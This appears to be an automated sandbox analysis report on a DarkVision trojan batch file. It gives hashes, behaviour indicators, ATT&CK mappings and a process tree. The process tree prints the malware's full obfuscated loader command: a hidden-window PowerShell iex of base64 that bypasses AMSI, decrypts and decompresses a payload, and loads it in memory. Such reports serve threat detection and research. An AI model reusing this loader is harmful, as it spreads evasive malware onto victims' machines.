darkvision | d6a5365c045330e093f36f11597e7a49924a52b3f19cbea45d37f1f1fcc2ffa7

General

Target

d6a5365c045330e093f36f11597e7a49924a52b3f19cbea45d37f1f1fcc2ffa7.bat
Size

413KB
MD5

b40af4f36e64a53783d8c3dde233dc1a
SHA1

71a43ec06c566ea2fdbf898104a4c3c02b87bb72
SHA256

d6a5365c045330e093f36f11597e7a49924a52b3f19cbea45d37f1f1fcc2ffa7
SHA512

aa59ea51074b40df9bc183eae7d40e065e0d0e370ccf530dc86f0d6da621e6d857b306c1fd4a9ade7787ebed26cb1f012564a235b8597e04a83a95a531f7cfb3
SSDEEP

6144:+7xGCfsp8mrunqNHsO+AyLT+9lAx1nZJoEU/ghKWv9yEZIYe7uAtYJ5bNrJ8Wpwy:g0amrgUH6NvvZvUY8+9ytiAtqpOWpLf

Score

10^/10

darkvision execution rat

Malware Config

Signatures

DarkVision Rat
DarkVision Rat is a trojan written in C++.
rat darkvision
Darkvision family
darkvision

Blocklisted process makes network request 23 IoCs

flow	pid	Process
9	4028	powershell.exe
15	4028	powershell.exe
16	4028	powershell.exe
17	4028	powershell.exe
18	4028	powershell.exe
29	4028	powershell.exe
33	4028	powershell.exe
34	4028	powershell.exe
35	4028	powershell.exe
36	4028	powershell.exe
41	4028	powershell.exe
43	4028	powershell.exe
44	4028	powershell.exe
45	4028	powershell.exe
46	4028	powershell.exe
53	4028	powershell.exe
54	4028	powershell.exe
55	4028	powershell.exe
56	4028	powershell.exe
57	4028	powershell.exe
59	4028	powershell.exe
60	4028	powershell.exe
61	4028	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
964	powershell.exe

.NET Reactor proctector 1 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/memory/4028-43-0x000001D951020000-0x000001D951076000-memory.dmp	net_reactor

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_bf724f60.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_bf724f60.cmd	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4028	powershell.exe
4028	powershell.exe
964	powershell.exe
964	powershell.exe
1848	powershell.exe
1848	powershell.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	4028	powershell.exe
Token: SeDebugPrivilege	964	powershell.exe
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeIncreaseQuotaPrivilege	1848	powershell.exe
Token: SeSecurityPrivilege	1848	powershell.exe
Token: SeTakeOwnershipPrivilege	1848	powershell.exe
Token: SeLoadDriverPrivilege	1848	powershell.exe
Token: SeSystemProfilePrivilege	1848	powershell.exe
Token: SeSystemtimePrivilege	1848	powershell.exe
Token: SeProfSingleProcessPrivilege	1848	powershell.exe
Token: SeIncBasePriorityPrivilege	1848	powershell.exe
Token: SeCreatePagefilePrivilege	1848	powershell.exe
Token: SeBackupPrivilege	1848	powershell.exe
Token: SeRestorePrivilege	1848	powershell.exe
Token: SeShutdownPrivilege	1848	powershell.exe
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeSystemEnvironmentPrivilege	1848	powershell.exe
Token: SeRemoteShutdownPrivilege	1848	powershell.exe
Token: SeUndockPrivilege	1848	powershell.exe
Token: SeManageVolumePrivilege	1848	powershell.exe
Token: 33	1848	powershell.exe
Token: 34	1848	powershell.exe
Token: 35	1848	powershell.exe
Token: 36	1848	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 432 wrote to memory of 1280	432	cmd.exe	86
PID 432 wrote to memory of 1280	432	cmd.exe	86
PID 1280 wrote to memory of 4872	1280	cmd.exe	88
PID 1280 wrote to memory of 4872	1280	cmd.exe	88
PID 1280 wrote to memory of 4028	1280	cmd.exe	89
PID 1280 wrote to memory of 4028	1280	cmd.exe	89
PID 4028 wrote to memory of 964	4028	powershell.exe	92
PID 4028 wrote to memory of 964	4028	powershell.exe	92
PID 4028 wrote to memory of 1848	4028	powershell.exe	93
PID 4028 wrote to memory of 1848	4028	powershell.exe	93

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\d6a5365c045330e093f36f11597e7a49924a52b3f19cbea45d37f1f1fcc2ffa7.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\d6a5365c045330e093f36f11597e7a49924a52b3f19cbea45d37f1f1fcc2ffa7.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\d6a5365c045330e093f36f11597e7a49924a52b3f19cbea45d37f1f1fcc2ffa7.bat';iex ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("cG93ZXJzaGVsbCAtdyBoaWRkZW47aWV4ICgoJChbVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnVTFSU1NVNUhVa0ZPUkU5TmFWTlVVa2xPUjFKQlRrUlBUV1ZUVkZKSlRrZFNRVTVFVDAxNElDZ29hVk5VVWtsT1IxSkJUa1JQVFhkVFZGSkpUa2RTUVU1RVQwMXlVMVJTU1U1SFVrRk9SRTlOSUMxVFZGSkpUa2RTUVU1RVQwMVZVMVJTU1U1SFVrRk9SRTlOYzFOVVVrbE9SMUpCVGtSUFRXVlRWRkpKVGtkU1FVNUVUMDFDVTFSU1NVNUhVa0ZPUkU5TllWTlVVa2xPUjFKQlRrUlBUWE5UVkZKSlRrZFNRVTVFVDAxcFUxUlNTVTVIVWtGT1JFOU5ZMU5VVWtsT1IxSkJUa1JQVFZCVFZGSkpUa2RTUVU1RVQwMWhVMVJTU1U1SFVrRk9SRTlOY2xOVVVrbE9SMUpCVGtSUFRYTlRWRkpKVGtkU1FVNUVUMDFwVTFSU1NVNUhVa0ZPUkU5TmJsTlVVa2xPUjFKQlRrUlBUV2RUVkZKSlRrZFNRVTVFVDAwZ0lsTlVVa2xPUjFKQlRrUlBUV2hUVkZKSlRrZFNRVTVFVDAxMGRIQnpVMVJTU1U1SFVrRk9SRTlOT2xOVVVrbE9SMUpCVGtSUFRTOVRWRkpKVGtkU1FVNUVUMDB2VTFSU1NVNUhVa0ZPUkU5Tk1GTlVVa2xPUjFKQlRrUlBUWGhUVkZKSlRrZFNRVTVFVDAwd1UxUlNTVTVIVWtGT1JFOU5MbE5VVWtsT1IxSkJUa1JQVFhOVFZGSkpUa2RTUVU1RVQwMTBVMVJTU1U1SFVrRk9SRTlOTDFOVVVrbE9SMUpCVGtSUFRUaFRWRkpKVGtkU1FVNUVUMDFhVTFSU1NVNUhVa0ZPUkU5TlJGTlVVa2xPUjFKQlRrUlBUV0ZUVkZKSlRrZFNRVTVFVDAwdVUxUlNTVTVIVWtGT1JFOU5kRk5VVWtsT1IxSkJUa1JQVFhoVFZGSkpUa2RTUVU1RVQwMTBVMVJTU1U1SFVrRk9SRTlOSWlrdVEyOXVkR1Z1ZEM1U1pYQnNZV05sS0NkQlFrTW5MQ2NuS1NrZ0xVVnljbTl5UVdOMGFXOXVJRk5wYkdWdWRHeDVRMjl1ZEdsdWRXVTcnKSkpKSAtcmVwbGFjZSAnU1RSSU5HUkFORE9NJywgJycpO3RyeXsgSW52b2tlLVN5c3RlbUFtc2lCeXBhc3MgLURpc2FibGVFVFcgLUVycm9yQWN0aW9uIFN0b3AgfWNhdGNoeyBXcml0ZS1PdXRwdXQgIlRoaXMgc3lzdGVtIGhhcyBhIG1vZGlmaWVkIEFNU0kiIH07ZnVuY3Rpb24gRFpXT00oJHBhcmFtX3Zhcil7JGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOyRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzskYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnRG1mMkdLcjRRanVwMDAxS08rblF6UW1xMzM1azJLdFh5Mkg5UE1GbnlzZz0nKTskYWVzX3Zhci5JVj1bU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCd3emN1VzhYUFVIZzBKcktHMXIzTzZRPT0nKTskSVVSSFo9JGFlc192YXIuQ3JlYXRlRGVjcnlwdG9yKCk7JExKWlRFPSRJVVJIWi5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsMCwkcGFyYW1fdmFyLkxlbmd0aCk7JElVUkhaLkRpc3Bvc2UoKTskYWVzX3Zhci5EaXNwb3NlKCk7JExKWlRFO31mdW5jdGlvbiBkZWNvbXByZXNzX2Z1bmN0aW9uKCRwYXJhbV92YXIpeyRMWEpUQz1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOyRWVlBMVj1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JFJHRk9VPU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJExYSlRDLFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskUkdGT1UuQ29weVRvKCRWVlBMVik7JFJHRk9VLkRpc3Bvc2UoKTskTFhKVEMuRGlzcG9zZSgpOyRWVlBMVi5EaXNwb3NlKCk7JFZWUExWLlRvQXJyYXkoKTt9JFVFSkdUPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskcGF5bG9hZDJfdmFyPWRlY29tcHJlc3NfZnVuY3Rpb24gKERaV09NIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJFVFSkdULCA2KS5TdWJzdHJpbmcoMikpKSk7W1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRwYXlsb2FkMl92YXIpLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtjbGVhcjs="))) "
    3⤵
    PID:4872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Blocklisted process makes network request
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4028
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\d6a5365c045330e093f36f11597e7a49924a52b3f19cbea45d37f1f1fcc2ffa7')
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3f01549ee3e4c18244797530b588dad9

SHA1
3e87863fc06995fe4b741357c68931221d6cc0b9

SHA256
36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a

SHA512
73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_242rud42.g5u.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/964-25-0x00007FFF9C7C0000-0x00007FFF9D281000-memory.dmp

Filesize
10.8MB

Download
memory/964-15-0x00007FFF9C7C0000-0x00007FFF9D281000-memory.dmp

Filesize
10.8MB

Download
memory/964-29-0x00007FFF9C7C0000-0x00007FFF9D281000-memory.dmp

Filesize
10.8MB

Download
memory/964-26-0x00007FFF9C7C0000-0x00007FFF9D281000-memory.dmp

Filesize
10.8MB

Download
memory/4028-14-0x000001D950E30000-0x000001D950EA6000-memory.dmp

Filesize
472KB

Download
memory/4028-11-0x00007FFF9C7C0000-0x00007FFF9D281000-memory.dmp

Filesize
10.8MB

Download
memory/4028-0-0x00007FFF9C7C3000-0x00007FFF9C7C5000-memory.dmp

Filesize
8KB

Download
memory/4028-13-0x000001D950D60000-0x000001D950DA4000-memory.dmp

Filesize
272KB

Download
memory/4028-12-0x00007FFF9C7C0000-0x00007FFF9D281000-memory.dmp

Filesize
10.8MB

Download
memory/4028-30-0x000001D950EB0000-0x000001D950F04000-memory.dmp

Filesize
336KB

Download
memory/4028-1-0x000001D936410000-0x000001D936432000-memory.dmp

Filesize
136KB

Download
memory/4028-43-0x000001D951020000-0x000001D951076000-memory.dmp

Filesize
344KB

Download
memory/4028-44-0x0000000140000000-0x000000014007A000-memory.dmp

Filesize
488KB

Download
memory/4028-50-0x00007FFF9C7C3000-0x00007FFF9C7C5000-memory.dmp

Filesize
8KB

Download
memory/4028-51-0x00007FFF9C7C0000-0x00007FFF9D281000-memory.dmp

Filesize
10.8MB

Download
memory/4028-52-0x00007FFF9C7C0000-0x00007FFF9D281000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing